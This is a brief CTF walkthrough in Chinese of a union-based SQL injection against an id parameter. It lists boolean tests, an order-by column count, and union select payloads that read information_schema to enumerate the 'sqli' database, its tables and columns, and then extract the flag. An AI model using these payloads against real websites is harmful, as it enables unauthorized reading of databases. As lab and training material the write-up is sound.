and 1=1 返回正确
and 1=2 返回错误
order by x(数字)
得出字段数
?id=1 and 1=2 union select 1,database()
得到数据库名称sqli
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=‘sqli‘
得到表名 news,flag
?id=1 and 1=2 union select 1,group_concat(column_name) frominformation_schema.columns where table_name=‘flag‘
得到字段名flag
字段名 数据库.表名
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
得到flag{hdjaldanklfk2r3rb23ry34gf82huh2u9f}